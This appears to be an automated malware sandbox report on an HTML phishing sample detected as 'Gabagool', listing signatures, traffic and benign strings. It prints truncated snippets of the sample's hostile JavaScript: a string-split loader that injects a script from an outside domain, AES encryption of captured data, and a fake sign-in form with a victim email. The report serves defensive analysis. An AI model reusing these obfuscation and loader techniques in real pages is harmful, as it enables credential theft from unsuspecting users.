Edit tour

Windows Analysis Report
.html

Overview

General Information

Sample name:	.html
Analysis ID:	1636192
MD5:	ec8775c26e1cab58ef799e1b2087290a
SHA1:	41003ca9cac239cdcbc68b49be0e0a9f74f7accd
SHA256:	15e4212ca6f76004f34c2ba6ffcf0e49dd8b8a2e8374f22beca352be67872b42
Infos:

Detection

Gabagool

Score:	84
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected Gabagool

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML Script injector detected

HTML file submission containing password form

HTML page contains hidden URLs

HTML page contains suspicious base64 encoded javascript

HTML page contains suspicious javascript code

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Drops PE files

Drops PE files to the windows directory (C:\Windows)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Javascript checks online IP of machine

None HTTPS page querying sensitive user data (password, username or email)

PE file contains more sections than normal

PE file contains sections with non-standard names

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3636 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5708 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2012,i,14865447731612743926,3150077887963785523,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6636 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.4.pages.csv	JoeSecurity_Gabagool	Yara detected Gabagool	Joe Security
1.2.pages.csv	JoeSecurity_Gabagool	Yara detected Gabagool	Joe Security
1.3.pages.csv	JoeSecurity_Gabagool	Yara detected Gabagool	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 1.2.pages.csv
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 1.3.pages.csv

Yara detected Gabagool

Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/.html... This script demonstrates high-risk behaviors, including dynamic code execution using the `Function` constructor and potential data exfiltration to an obfuscated domain. The use of base64 encoding to hide the actual script content further increases the suspicion of malicious intent. Overall, this script exhibits a high risk of being a malicious payload and should be treated with caution.
Source: 0.3.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behavior, including the use of obfuscated code and dynamic code execution. The script constructs a URL by concatenating various string fragments, which is a common technique used to hide the true nature of the script's purpose. Additionally, the use of `document.write()` to inject the script tag is a concerning practice, as it can lead to potential security vulnerabilities. Overall, the combination of obfuscation and dynamic code execution indicates a high likelihood of malicious intent, warranting a high-risk score.

Detected javascript redirector / loader

Source: .html

HTTP Parser: Low number of body elements: 2

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: New script, src: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: New script, src: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js

HTML page contains hidden URLs

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org

HTTP Parser: https://wicked.bigpoliceman.com

HTML page contains suspicious base64 encoded javascript

Source: .html	HTTP Parser: Base64 decoded: document.write
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: Base64 decoded: document.write
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: Base64 decoded: document.write

HTML page contains suspicious javascript code

Source: file:///C:/Users/user/Desktop/.html

HTTP Parser: window.location.href = atob(

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org

HTTP Parser: Total embedded image size: 45708

Source: .html

HTTP Parser: Base64 decoded: kPAsMQub = ['http', 's://ro', 'yt', 'so', 'nl', 'aw', '.c', 'om/', '/at', 'tac', 'h/', 'js/DN', '9YxD', 'gT2', 'Ifcb', 'DTLz', 'kzzxg', '7rLK', 'ec65c', 'ARK2v', 'YL6I', 'Z5', 'kC', 'VB9G', '3P.js'].join(``);document.write('<script src="'+kPAsMQub+'"></'...

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org

HTTP Parser: Title: Account sign in does not match URL

Source: file:///C:/Users/user/Desktop/.html

HTTP Parser: let current_ip = null;function acpcek(plaintext, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } // generate a random iv (initialization vector) const iv = cryptojs.lib.wordarray.random(16); // encrypt the plain text using aes with the given key and random iv const encrypted = cryptojs.aes.encrypt(cryptojs.enc.utf8.parse(plaintext), cryptojs.enc.utf8.parse(key), { iv: iv, mode: cryptojs.mode.cbc, padding: cryptojs.pad.pkcs7 }); // combine the iv and ciphertext (iv is necessary for decryption) const encrypteddata = iv.concat(encrypted.ciphertext); // convert the combined data to base64 for easy transmission or storage return cryptojs.enc.base64.stringify(encrypteddata);}let psk = "xddqifyti2fnjpcctxhagvhlnkll0j4kz+cma/nesocr8nuy2sitmuzv3rb3gw4wwyftjbbosfjib+wjovk//q==";async function pizlt() { try { const response = await fetch("https:...

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org

HTTP Parser: Has password / email / username input fields

Source: https://roytsonlaw.com//attach/js/DN9YxDgT2IfcbDTLzkzzxg7rLKec65cARK2vYL6IZ5kCVB9G3P.js	HTTP Parser: function decstr(encryptedstring, key) { const encrypteddata = cryptojs.enc.base64.parse(encryptedstring); const iv = cryptojs.lib.wordarray.create(encrypteddata.words.slice(0, 4)); const ciphertext = cryptojs.lib.wordarray.create( encrypteddata.words.slice(4) ); const hashedkey = cryptojs.sha256(key); const aeskey = cryptojs.lib.wordarray.create(hashedkey.words.slice(0, 8)); const decrypted = cryptojs.aes.decrypt({ ciphertext: ciphertext }, aeskey, { iv: iv, mode: cryptojs.mode.cbc, padding: cryptojs.pad.pkcs7, }); return decrypted.tostring(cryptojs.enc.utf8);} let ballerina = decstr(atob("ofrnmvnacjgwwkfkm1f1blc1vddjcnrat2prn1ixc2w4rkrvofmwoutpzzm2dnjlb3hzujr5yuxxn0rwdzzpcy9kakfhywj1zvq3mwfimfz1ehvwbjhmrwh2seriz0f3uuhbekrpbmz4uedusgxoyljsr2h4n0dxrkpbr211a1vwulfytky2z0raq0nndfbaz1b2qndrvxjxulg0rysrohn3m3a0u2lpc3pdetbpamzqd2zzzvhet2lxzlbnsuhirmnnsmw4rfbsl3bjvzztcu5yu2j5cetrylq5nutznlnmt01laefbzgczcm0wtuvyu1j5cxhmuzn0cexhewfxbktsdktcejv4w...
Source: file:///C:/Users/user/Desktop/.html	HTTP Parser: new function( atob( `ewf3cya9ifsiagfzacisicjjb25jyxqilcaic2xpy2uilcaibm93il07dqoncmlmichwzxjmb3jtyw5jzvsibmf2awdhdglvbijdwyj0exblil0gpt09idb4mcamjiahbg9jyxrpb25bewf3c1swedbdxskgew0kicbsb2nhdglvblt5yxdzwzbdxsa9ierhdgvbewf3c1szxv0okq0kicagic50b1n0cmluzygzniknciagicbbewf3c1syxv0oltepdqogicagw3lhd3nbmv1dkfjteu5ndlvmt3gpow0kfq0k` ) )(); let usuuid = "xddqifyti2fnjpcctxhagvhlnkll0j4kz+cma/nesocr8nuy2sitmuzv3rb3gw4wwyftjbbosfjib+wjovk//q=="; let policy = "gl/ifhtzhkkwp1+z39rgvzoa8vdl2whfusaf8idxovolww/zapelg9zfuiruw0dp";let sv = "0"; let sir = "1"; function decstr(encryptedstring, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } const encrypteddata = cryptojs.enc.base64.parse(encryptedstring); const iv = cryptojs.lib.wordarra...

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org

HTTP Parser: <input type="password" .../> found

Source: .html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/.html#pshannon.moore@mymanatee.org	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\LICENSE.txt

Jump to behavior

Source:

Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.2.dr

Source: global traffic

TCP traffic: 192.168.2.6:50116 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.203.209
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.195
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 20.191.45.158
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET //attach/js/DN9YxDgT2IfcbDTLzkzzxg7rLKec65cARK2vYL6IZ5kCVB9G3P.js HTTP/1.1Host: roytsonlaw.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: roytsonlaw.com
Source: global traffic	DNS traffic detected: DNS query: wicked.bigpoliceman.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /report/v4?s=XcJ6ApuSuj4Tn9fAOLzsvDzKknSVMyqyht3otbrb0LN%2F2OT65akNCYA7QsOE6hbVs4Ana%2BkoJxKe%2BXjg4Y%2Brz4l04Ip0SGvPblsQ7z4JMAKWqpJwgGc5eGQfF7zF5nHpJQt%2Ff%2FBW%2BL5yxw%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 389Content-Type: application/reports+jsonOrigin: https://wicked.bigpoliceman.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Google.Widevine.CDM.dll.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://2k.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://33across.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://360yield.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://3lift.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://a-mo.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://acxiom.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ad-score.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ad-stir.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ad.gt
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adentifi.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adform.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adingo.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://admatrix.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://admission.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://admixer.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adnami.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adnxs.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adroll.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adsafeprotected.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adscale.de
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adsmeasurement.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adsrvr.org
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adswizz.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adthrive.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://adtrafficquality.google
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://advividnetwork.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://aggregation-service-site-dot-clz200258-datateam-italy.ew.r.appspot.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://akpytela.cz
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://alketech.eu
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://amazon-adsystem.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://aniview.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://anonymised.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://apex-football.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://aphub.ai
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://appconsent.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://appier.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://appsflyer.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://appsflyersdk.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://aqfer.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://atirun.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://atomex.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://audience360.com.au
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://audiencemanager.de
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://audienceproject.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://authorizedvault.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://avads.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ayads.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://azubiyo.de
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://beaconmax.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://bidswitch.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://bidtheatre.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://blendee.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://bluems.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://boost-web.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://bounceexchange.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://bypass.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://casalemedia.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://cazamba.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://cdn-net.com
Source: .html	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://clickonometrics.pl
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://connatix.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://connected-stories.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://convertunits.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://coupang.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://cpx.to
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://crcldu.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://creative-serving.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://creativecdn.com
Source: LICENSE.txt.2.dr	String found in binary or memory: https://creativecommons.org/.
Source: LICENSE.txt.2.dr	String found in binary or memory: https://creativecommons.org/compatiblelicenses
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://criteo.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ctnsnet.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://d-edgeconnect.media
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://dabbs.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://dailymail.co.uk
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://dailymotion.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://daum.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://deepintent.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://demand.supply
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://display.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://disqus.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://docomo.ne.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://dotdashmeredith.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://dotomi.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://doubleclick.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://doubleverify.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://dreammail.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://dynalyst.jp
Source: LICENSE.txt.2.dr	String found in binary or memory: https://easylist.to/)
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ebayadservices.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ebis.ne.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://edkt.io
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://elle.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://elnacional.cat
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://eloan.co.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://euleriancdn.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://explorefledge.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ezoic.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://fanbyte.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://fandom.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://finn.no
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://flashtalking.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://fout.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://funplus.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://fwmrm.net
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://gama.globo
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://get3rdspace.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://getcapi.co
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://getyourguide.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://ghtinc.com
Source: LICENSE.txt.2.dr	String found in binary or memory: https://github.com/easylist)
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://globo.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://gmossp-sp.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://gokwik.co
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://google-analytics.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://googleadservices.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://googlesyndication.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://grxchange.gr
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://gsspat.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://gumgum.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://gunosy.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://halcy.de
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://html-load.com
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://i-mobile.co.jp
Source: privacy-sandbox-attestations.dat.2.dr	String found in binary or memory: https://im-apps.net
